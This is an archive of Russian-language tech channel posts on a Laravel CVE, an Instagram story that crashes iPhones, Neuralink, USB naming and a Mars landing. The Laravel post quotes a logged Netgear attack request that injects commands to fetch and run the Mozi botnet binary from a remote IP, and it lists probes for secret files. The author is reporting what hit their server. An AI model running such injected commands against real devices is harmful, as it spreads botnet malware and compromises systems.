Айтихрист 🔥

2021-05-14 11:11:40 В январе, в одном из стандартных пакетов для Laravel (самый популярный PHP-фреймворк), была обнаружена уязвимость CVE-2021-3129. Тогда я не обратил на это внимания, да и никто из сообщества тоже, так как все знали, что данная уязвимость находится в пакете, который устанавливается только на локальном или дев-окружении, и нужно быть полным дурачком, чтобы оставить такой дебаг на продакшене.

Но вчера вышла статья об этой уязвимости на Хакере, где мало того, что в типичной для них манере подали это как святой грааль взлома для всех Laravel-проектов, забыв упомянуть что на продакшене это так просто не сработает, но и в принципе подогрели всеобщий интерес.

И вот сегодня, на один из пет-проджектов в 6 утра полетели запросы на /_ignition/execute-solution, несколько сотен таких, которые сами понимаете что пытаются сделать.

Самое интересное, что сервер доступен только по IP-адресу, и я только локально прописал у себя в DNS нужный записи. Например, что бы с помощью того же curl до него достучаться извне, нужно отдельно прописать резолвы подобным образом: curl -v example.com --resolve 'example.com:80:10.10.10.10' --resolve 'example.com:443:10.10.10.10'. И каким образом те "потенциальные злоумышленники" смогли получить всю эту конфигурацию — вообще загадка.

Но так как вся эта конфигурация уже, так сказать, вышла в паблик, я прокинул все это дело через Cloudflare уже в публичный DNS, и буквально сразу же полетели запросы, то GET /.env, то GET /src и GET /config/database.php, и даже несколько непонятных и вообще нацеленных на Netgear: GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://113.47.183.242:20303/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0 (самое смешное, что вообще через HTTP/1.0). А это только те запросы, которые долетели до сервера, и непонятно сколько из них было заблокировано Cloudflare-ом

Иногда впечатляет, какой огромный набор автоматизаций и скрапперов у всех этих блек-хэтов, ведь мало того, что все эти "атаки" полетели сразу же, после настройки DNS, так некоторые сразу поняли, что это Laravel и начали пробовать специфичные атаки. Хотя я подчистил все стандартные заголовки (по типу X-Powered-By, который будто сделан, что бы помогать атакующим понять, с чем они работают) и другие элементы, выдающие мой стек Открыть/Комментировать

2021-05-09 13:52:18 Как думаете, из-за чего устройства на iOS полностью зависают, без возможности даже перезагрузки? Открыть/Комментировать

2021-05-09 13:51:02 ​​В последнее время набирает популярность Инстаграм-аккаунт https://instagram.com/pgtalal, который, внимание, может доставить неприятности другим пользователям соцсети, заставив их устройства полностью зависнуть, да так, что придется ждать, пока сядет аккумулятор, т.к. не будут работать даже кнопки питания, и принудительно выключить устройство не получится. Так что, не рекомендую открывать этот профиль

Данная проблема касается больше устройств от Apple, и для того, чтобы попасться на удочку, нужно открыть истории (сториз, называйте как хотите), и устройство сразу зависает. А на Android-телефонах ситуация везде разная: на некоторых устройствах, все работает нормально, только немного подвисает при открытии, на некоторых устройствах вылетает приложение, а на остальныэ вылетает вообще весь интерфейс, но перезагрузить телефон все ещё можно.

Так вот, как это работает: истории — это не просто картинка или видео, это достаточно сложная штука с кучей интерактивных элементов (всякие наклейки и т.д.) и накладываются они послойно, т.е. не модифицируя оригинальное изображение, фон и рендерятся на клиенте. Именно на это и нацелена атака: дело в том, что размеры и координаты этих наклеек указаны в относительных единицах к размеру всего фото/видео (0-1, где 0 - это верх, 0.5 - середина, а 1 - низ, пример есть на первом фото) и после умножает эти значения на фактические размеры устройства пользователя (напр. 1920х1080 и координаты 0.7х0.5 дадут результат 1344х540)

А наша история-злоумышленник использует это свойство по-своему, подменив значения координат на просто астрономически огромные значения: 907970275584550430. Думаю, многие не знают даже как назвать подобные разряды чисел, а теперь представьте, что произойдет, если попытаться умножить их на другие числа, размеры самого устройства, и именно из-за этого и происходят зависания. Т.к. это float, не думаю, что ошибка из-за превышения 64 бит, но все равно странно

Вообще очень интересно, как в очередной раз, устройства от Apple показывают очень странное поведение, как, например, в прошлых т.н. "СМС смерти", или при переводе времени в 0 epoch

А ещё, буквально около часа, в аккаунте была закреплена история, которая полностью блокировала возможность смотреть вообще все другие истории, после просмотра этой "взломанной", и помогало только полное удаление приложения, но ее почему-то удалили Открыть/Комментировать

2021-04-19 14:43:11 В рубрике #слоуновости сегодня Neuralink. Видели же, что стартап Илона Маска Neuralink показал обезьяну, играющую в видеоигры «силой мысли»? Сначала макака Пейджер играла в играла в «Понг» с помощью джойстика, а имплант записывал данный нейронной активности… Открыть/Комментировать

2021-04-19 14:41:05 В рубрике #слоуновости сегодня Neuralink. Видели же, что стартап Илона Маска Neuralink показал обезьяну, играющую в видеоигры «силой мысли»?

Сначала макака Пейджер играла в играла в «Понг» с помощью джойстика, а имплант записывал данный нейронной активности, а после данные сопоставлялись с фактическими движениями рук, полученных с джойстика. А когда данных стало достаточно - джойстик отключили и управление игрой перешло в руки алгоритма, который на основе нейронной активности двигательной коры мозга прогнозировал движения рук, а соответственно и джойстика. Подробнее про это можно узнать в оригинальном видео от Neuralink, т.к. я хочу поговорить немного о другом.

И начнем, пожалуй, с опроса: вы бы согласились имплантировать себе подобный чип, без острой необходимости, а просто ради развлечения или простого интереса?

Что я имею в виду под этими оговорками про необходимость? Как описывается в оригинальном видео, текущая цель проекта — обеспечить возможность взаимодействия с машинами людям, с ограниченными возможностями (паралич и прочее).

Но, естественно, рано или поздно, подобной сферой применения это не ограничится: так или иначе подобные импланты/чипы начнут использовать не только в сфере науки и медицины, но и в сфере развлечений, как это уже много раз бывало.

Так вот, согласились, и даже хотели бы вы на подобное применение данной технологии на себе? Естественно, с учетом развития данной технологии в ближайшее время, как с функциональной точки зрения, так и сточки зрения безопасности Открыть/Комментировать

2021-04-09 16:11:11 Голосов, конечно, маловато, на да что ж

На самом деле все они работают на скорости до 10 Гбит/с и разницы в максимальной скорости нет, но это не всё, так что приготовьтесь к перелому мозга.

Начнем с того, что, хотя скорость у данных стандартов одинаковая, все же USB 3.2 Gen 1x2 USB 3.2 Gen 2x1 немного отличаются, а именно количеством потоков данных (полудуплекс и полный дуплекс). USB 3.2 Gen 1x2 работает на двух потоках, а USB 3.2 Gen 2x1, соответственно в один. А это значит, что есть USB 3.2 Gen 1x1 и USB 3.2 Gen 2x2, где максимальная скорость, согласно множителю, 5 Гб и 20 Гбит в секунду соответственно. Но и это не все.

Знаете чем отличается USB 3.0 от USB 3.1 Gen 1? А снова ничем! на самом деле USB 3.0 переименовали в USB 3.1 Gen 1, и самого простого USB 3.0 больше не существует, и производители обязаны называть его USB 3.1 Gen 1. А, нет, не обязаны, ведь потом его снова переменовали в USB 3.2 Gen 1. Прослеживаете цепочку? USB 3.0 → USB 3.1 Gen 1 → USB 3.1 Gen 1, и все это разные названия одного и того же.

Еще не забыли, что сверху я написал про полу-дуплекс и полный дуплекс? Так вот, используя USB 3.2 Gen 1x2, скажем, при копировании данных с флешки, вы никогда не достигните скорости 10 Гбит/сек. Почему? Потому что данная скорость - это теоритический максимум при работе в полный дуплекс, а значит, при передачи информации в одну скорость делить нужно на два, и если вы копируете данные с флешки к себе на диск, то максимальная скорость будет всего 5 Гбит/с. И рекламируют это как 10 Гбит. А вот USB 3.2 Gen 2x1 в свою очередь уже может обеспечить одностороннюю передачу на скорости 10 Гбит/с. И не стоит забывать, что это - лишь максимум и средняя скорость будет намнооого ниже

С приходом USB 4.0 вроде как обещали все исправить, вот только вместо USB 4.0 вышел USB4 и называть по-другому его, вроде как, нельзя. Да и исправить не исправили, а сделали только хуже, причем намного. Нам не только оставили все эти приставки и множители (Gen, x1, x2), но еще и не выпустили USB4 Gen 1. Да, все верно, уже есть USB4 Gen 2 и Gen 3 c разными множителями (x1 и x2), а вот USB4 Gen 1 нет вообще ни в каком варианте. Видимо начинать со второго поколения сразу - это нормально

А еще, как думаете, отличается вообще хотя бы какими-то характеристиками USB4 Gen 2×1 от USB 3.2 Gen 2×1 и USB4 Gen 2×2 от USB 3.2 Gen 2×2. Конечно же, нет

Вроде бы, USB-IF (USB Implementers Forum, именно они занимаются разработкой стандартов USB) - это некоммерческая организация, на уровне всяких IEEE, IEC и ISO, но даже старые названия стандартов Wi-Fi (802.11) с их многообразием букв имели хотя бы какую-то логику, но здесь ее совершенно нет. Как будто-бы они пытаются вместе с производителями продать потребителям существующие технологии еще раз, потому что нового ничего нет (да и не нужно, большинству людей 5 Гбит хватит в повседневной жизни), просто меняя названия в надежде, что "прокатит"

А еще и Intel туда же - у нового Thunderbolt 4, ровна такая же скорость, что и у Thunderbolt 3 - 40 Гбит/с (кстати как и у USB4 Gen 3×2)

В общем, знайте, что такая обычная и повседневная вещь, как USB скрывает в себе такое количество неадекватности Открыть/Комментировать

2021-03-31 12:39:50 Открыть/Комментировать

2021-03-30 23:46:47 Н-да, я немного пропал, меня затянула злостная игровая пучина Блэк Дезерт, но вчера рандом сломал мне весь шмот, и я rage-quit-нул (серьезно, а есть ли этому слову аналог на русском?). Пойду займусь чем-нибудь полезным Открыть/Комментировать

2021-02-19 00:00:08 Прямо сейчас, на скорости 20000 км/ч марсоход Perseverance готовится приземлиться на Марс, и уже через 20 минут начнет непосредственно посадку. А на сайте NASA можно посмотреть 3D-визуализация в реальном времени, и также есть прямая трансляция от NASA Вообще… Открыть/Комментировать

2021-02-18 23:24:08 Прямо сейчас, на скорости 20000 км/ч марсоход Perseverance готовится приземлиться на Марс, и уже через 20 минут начнет непосредственно посадку. А на сайте NASA можно посмотреть 3D-визуализация в реальном времени, и также есть прямая трансляция от NASA

Вообще, хотелось бы когда-нибудь увидеть исходники ПО марсохода - столько систем, столько модулей, а одна ошибка может стоить миллиарды. Вы только представьте, этот марсоход даже сам выбирает место посадки, не говоря о контроле всей остальной посадки! Ведь задержка, между происходящем на Марсе и тем, когда мы получим данные - целых 11 минут никакого ручного управления нет. Вот это называется ответственность Открыть/Комментировать